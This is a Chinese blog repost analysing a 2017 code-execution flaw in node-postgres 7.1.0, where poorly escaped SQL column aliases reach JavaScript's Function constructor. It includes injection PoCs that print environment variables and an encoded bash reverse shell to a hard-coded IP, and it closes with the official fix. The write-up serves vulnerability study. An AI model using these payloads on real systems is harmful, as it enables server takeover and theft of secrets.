node.js + postgres 从注入到Getshell

简介:

【转】http://bobao.360.cn/learning/detail/4657.html


前言


(最近你们可能会看到我发很多陈年漏洞的分析,其实这些漏洞刚出来我就想写,不过是没时间,拖延拖延,但该做的事迟早要做的,共勉)

Postgres是现在用的比较多的数据库,包括我自己的博客,数据库都选择使用Postgres,其优点我就不展开说了。node-postgres是node中连接pg数据库的客户端,其中出现过一个代码执行漏洞,非常典型,可以拿出来讲一讲。


0x01 Postgres 协议分析


碳基体妹纸曾经分析过postgres的认证协议,显然pg的交互过程其实就是简单的TCP数据包的交互过程,文档中列出了所有数据报文。

其中,我们观察到,pg的通信,其实就是一些预定的message交换的过程。比如,pg返回给客户端的有一种报文叫“RowDescription”,作用是返回每一列(row)的所有字段名(field name)。客户端拿到这个message,解析出其中的内容,即可确定字段名:

 t01fba2fce4175ff13c.png

我们可以抓包试一下,关闭服务端SSL,执行SELECT 'phithon' AS "name",可见客户端发送的报文头是Simple Query,内容就是我执行的这条SQL语句:

 t013d07041581274590.png

返回包分为4个message,分别是T/D/C/Z,查看文档可知,分别是“Row description”、“Data row”、“Command completion”、“Ready for query”:

 t016e2de36c50b0391e.png

这四者意义如下:

1.“Row description” 字段及其名字,比如上图中有一个字段,名为“name”

2.“Data row” 值,上图中值为“70686974686f6e”,其实就是“phithon”

3.“Command completion” 用来标志执行的语句类型与相关行数,比如上图中,我们执行的是select语句,返回1行数据,所以值是“SELECT 1”

4.“Ready for query” 告诉客户端,可以发送下一条语句了

至此,我们简单分析了一下postgresql的通信过程。明白了这一点,后面的代码执行漏洞,也由此拉开序幕。


0x02 漏洞触发点


安装node-postgres的7.1.0版本:npm install pg@7.1.0。在node_modules/pg/lib/connection.js可以找到连接数据库的源码:

http://p6.qhimg.com/t0154cb74f783e007fc.png

可见,当this._reader.header等于"T"的时候,就进入parseT方法。0x01中介绍过T是什么,T就是“Row description”,表示返回数据的字段数及其名字。比如我执行了SELECT * FROM "user",pg数据库需要告诉客户端user这个表究竟有哪些字段,parseT方法就是用来获取这个字段名的。

parseT中触发了rowDescription消息,我们看看在哪里接受这个事件:

http://p7.qhimg.com/t011d7080d85372b446.png

在client.js中接受了rowDescription事件,并调用了query.js中的handleRowDescription方法,handleRowDescription方法中执行this._result.addFields(msg.fields)语句,并将所有字段传入其中。

跟进addFields方法:

http://p7.qhimg.com/t0181c39eec72e79187.png

addFields方法中将所有字段经过inlineParser函数处理,处理完后得到结果ctorBody,传入了Function类的最后一个参数。

熟悉XSS漏洞的同学对“Function”这个类( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function   )应该不陌生了,在浏览器中我们可以用Function+任意字符串创造一个函数并执行:

 2d71dcc8-0c6a-4c44-9b34-3135107d0759.png

其效果其实和eval差不多,特别类似PHP中的create_function。那么,Function的最后一个参数(也就是函数体)如果被用户控制,将会创造一个存在漏洞的函数。在前端是XSS漏洞,在后端则是代码执行漏洞。

那么,ctorBody是否可以被用户控制呢?


0x03 常见BUG:转义不全导致单引号逃逸


ctorBody是经过inlineParser函数处理的,看看这个函数代码:

http://p1.qhimg.com/t019b40cbc653aa37e1.png

可见这里是存在字符串拼接,fieldName即为我前面说的“字段名”。虽然存在字符串拼接,但这里单引号'被转义成\':fieldName.replace(/'/g, "\\'")。我们在注释中也能看到开发者意识到了单引号需要“escaped”。

但显然,只转义单引号,我们可以通过反斜线\来绕过限制:

\' ==> \\'

这是一个比较普遍的BUG,开发者知道需要将单引号前面增加反斜线来转义单引号,但是却忘了我们也可以通过在这二者前面增加一个反斜线来转义新增加的转义符。所以,我们尝试执行如下SQL语句:

1
2
sql = `SELECT 1 AS  "\\'+console.log(process.env)]=null;//" `
const res = await client.query(sql)

这个SQL语句其实就很简单,因为最后需要控制fieldName,所以我们需要用到AS语句来构造字段名。

动态运行后,在Function的位置下断点,我们可以看到最终传入Function类的函数体:

 t013558823e300adc69.png

可见,ctorBody的值为:

1
this[ '\\' +console.log(process. env )]=null; // '] = rowData[0] == null ? null : parsers[0](rowData[0]);

我逃逸了单引号,并构造了一个合法的JavaScript代码。最后,console.log(process.env)在数据被读取的时候执行,环境变量process.env被输出:

 t015e21c431baa6c0c3.png


0x04 实战利用


那么,在实战中,这个漏洞如何利用呢?

首先,因为可控点出现在数据库字段名的位置,正常情况下字段名显然不可能被控制。所以,我们首先需要控制数据库或者SQL语句,比如存在SQL注入漏洞的情况下。

所以我编写了一个简单的存在注入的程序:

http://p6.qhimg.com/t018c758d3acb30f171.png

正常情况下,传入id=1获得第一条数据:

 t01f2644cc2c953ec5c.png

可见,这里id是存在SQL注入漏洞的。那么,我们怎么通过SQL注入控制字段名?

一般来说,这种WHERE后的注入,我们已经无法控制字段名了。即使通过如SELECT * FROM "user" WHERE id=-1 UNION SELECT 1,2,3 AS "\\'+console.log(process.env)]=null;//",第二个SELECT后的字段名也不会被PG返回,因为字段名已经被第一个SELECT定死。

但是node-postgres是支持多句执行的,显然我们可以直接闭合第一个SQL语句,在第二个SQL语句中编写POC代码:

 76aa50fd-802f-463c-8606-534745979671.png

虽然返回了500错误,但显然命令已然执行成功,环境变量被输出在控制台:

 50403baf-0f88-482d-a0c9-aabba014cc37.png

在vulhub搭建了环境,实战中遇到了一些蛋疼的问题:

单双引号都不能正常使用,我们可以使用es6中的反引号

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

一个fieldName只能有64位长度,所以我们通过多个fieldName拼接来完成利用

最后构造出如下POC:

1
SELECT  AS  "\']=0;require=process.mainModule.constructor._load;/*" , 2  AS  "*/p=require(`child_process`);/*" , 3  AS  "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*" , 4  AS  "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"

发送数据包:

 t01559d0792418183ab.png

成功反弹shell:

 b9c3e660-56e1-4706-af86-e9c6d9aec0ae.png


0x05 漏洞修复


官方随后发布了漏洞通知: https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability   以及修复方案: https://github.com/brianc/node-postgres/blob/884e21e/lib/result.js#L86 

可见,最新版中将fieldName.replace(/'/g, "\\'")修改为escape(fieldName),而escape函数来自这个库:https://github.com/joliss/js-string-escape   ,其转义了大部分可能出现问题的字符。















本文转自fatshi51CTO博客,原文链接: http://blog.51cto.com/duallay/1979499 ,如需转载请自行联系原作者



相关文章
|
JavaScript 关系型数据库 数据库
Node.js连接postgres
一、下载Node.js postgres驱动   Node.js里面没有postgres模块的,我们需要安装node-postgres模块。 node-postgres模块的下载地址为:https://github.com/brianc/node-postgres。
1184 0
|
2月前
|
Web App开发 缓存 JavaScript
【安装指南】nodejs下载、安装与配置详细教程
这篇博文详细介绍了 Node.js 的下载、安装与配置过程,为初学者提供了清晰的指南。读者通过该教程可以轻松完成 Node.js 的安装,了解相关配置和基本操作。文章首先介绍了 Node.js 的背景和应用场景,随后详细说明了下载安装包、安装步骤以及配置环境变量的方法。作者用简洁明了的语言,配以步骤图示,使得读者能够轻松跟随教程完成操作。总的来说,这篇文章为初学者提供了一个友好的入门指南,使他们能够顺利开始使用 Node.js 进行开发。
196 1
【安装指南】nodejs下载、安装与配置详细教程
|
2月前
|
消息中间件 Web App开发 JavaScript
Node.js【简介、安装、运行 Node.js 脚本、事件循环、ES6 作业队列、Buffer(缓冲区)、Stream(流)】(一)-全面详解(学习总结---从入门到深化)
Node.js【简介、安装、运行 Node.js 脚本、事件循环、ES6 作业队列、Buffer(缓冲区)、Stream(流)】(一)-全面详解(学习总结---从入门到深化)
77 0
|
3月前
|
JavaScript 前端开发 API
Node.js【简介、安装、运行 Node.js 脚本、事件循环、ES6 作业队列、Buffer(缓冲区)、Stream(流)】(一)-全面详解(学习总结---从入门到深化)(下)
Node.js【简介、安装、运行 Node.js 脚本、事件循环、ES6 作业队列、Buffer(缓冲区)、Stream(流)】(一)-全面详解(学习总结---从入门到深化)
35 0
|
3月前
|
消息中间件 Web App开发 JavaScript
Node.js【简介、安装、运行 Node.js 脚本、事件循环、ES6 作业队列、Buffer(缓冲区)、Stream(流)】(一)-全面详解(学习总结---从入门到深化)(上)
Node.js【简介、安装、运行 Node.js 脚本、事件循环、ES6 作业队列、Buffer(缓冲区)、Stream(流)】(一)-全面详解(学习总结---从入门到深化)
42 0
|
19天前
|
JavaScript Windows
NodeJS 安装及环境配置
NodeJS 安装及环境配置
|
28天前
|
Linux 开发工具 git
node使用nrm 管理托管node的安装源
node使用nrm 管理托管node的安装源
43 1
|
1月前
|
Web App开发 JavaScript 前端开发
Windows 10上安装Node.js的初学者指南
Node.js是是一个强大的JavaScript运行时环境,建立在Chrome的V8 JavaScript引擎上,让你能够在服务器端运行JavaScript。 通过本教程,你将学会如何设置Node.js和npm(节点包管理器等现代Web开发的必备工具。无论你是希望构建Web应用程序、创建服务器端脚本,还是涉足全栈开发,安装Node.js都是你的第一步。那么,让我们开始吧!
|
2月前
|
JavaScript
记录安装nodejs遇到的问题及解决
最近在搭建网站,需要用到nodejs,在配置的时候遇到3个问题,经过搜索和自己思考,把遇到的问题和解决方案记录下来,以供参考
|
2月前
|
JavaScript Windows 内存技术
通过Nvm安装和管理NodeJS
通过Nvm安装和管理NodeJS
112 0
通过Nvm安装和管理NodeJS